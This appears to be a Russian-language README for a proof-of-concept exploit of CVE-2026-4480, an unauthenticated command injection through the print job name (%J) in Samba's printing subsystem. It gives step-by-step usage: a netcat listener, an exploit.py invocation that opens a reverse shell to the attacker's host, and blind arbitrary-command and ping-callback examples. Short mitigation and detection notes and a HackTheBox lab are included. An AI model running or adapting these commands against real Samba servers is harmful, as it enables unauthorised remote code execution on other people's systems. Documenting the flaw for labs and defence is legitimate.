
# Эксплойт Proof-of-Concept для CVE-2026-4480 Эксплойт Proof-of-Concept для CVE-2026-4480 — неаутентифицированное удалённое выполнение команд в подсистеме печати Samba через инъекцию %J. Включает режимы reverse shell и слепого выполнения команд, а также рекомендации по обнаружению и смягчению последствий.
%J) Samba — PoCВажно — прочтите сначала:
Этот репозиторий иexploit.pyпредоставлены только в образовательных и исследовательских целях. Не используйте этот код против систем, сетей или сервисов, на которые у вас нет явного письменного разрешения. Несанкционированный доступ к компьютерным системам незаконен и неэтичен. Используя этот код, вы соглашаетесь соблюдать применимые законы и правила учреждений.
Неаутентифицированное удалённое выполнение команд в подсистеме печати Samba. Когда задание печати завершает спулинг, Samba выполняет настроенную print command через system(), подставляя %s (путь к файлу спула) и %J (имя задания, указанное клиентом) в строку. До исправления имя задания передавалось только с преобразованием ' → _ и больше ничем, поэтому , , , пробелы, , и обратные кавычки доходили до шелла. Таким образом, , ссылающаяся на , является точкой инъекции в шелл, и поскольку гости могут отправлять задания на печать, проблема возникает .
|;&<>print command%Jprint command, которая ссылается на %J
(в стиле printing = sysv). Режимы printing = cups / iprint работают через CUPS API и
не затронуты.sudo apt install python3-samba
print command ссылается на %J.python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
| Аргумент / опция | Значение |
|---|---|
rhost | Целевой хост / IP Samba |
lhost | IP вашего слушателя |
lport | Порт вашего слушателя |
-P, --printer | Имя гостевой общей папки принтера (по умолчанию: HP-Reception) |
-c, --cmd | Выполнить произвольную команду вместо reverse shell |
# terminal 1: listener
nc -lvnp 4444
# terminal 2: fire the exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444
Вы должны получить оболочку от учётной записи службы печати (например, nobody).
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'
Поскольку выполнение происходит вслепую (команда выполняется на стороне сервера и ничего не возвращает по RPC-каналу), сначала подтвердите его внеполосным способом, например, ICMP-колбэком, который вы наблюдаете через tcpdump -ni tun0 icmp:
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'
print command = /usr/local/bin/print-helper %s '%J',
уберите %J или перейдите на printing = cups.smbd, порождающий оболочки (sh/bash/nc/python/curl), и имена документов,
содержащие шелл-метасимволы.Я создал машину на HackTheBox под названием Abducted, чтобы продемонстрировать эту уязвимость и дать вам практический пример того, как атакующие могут использовать её в некорректно настроенном окружении.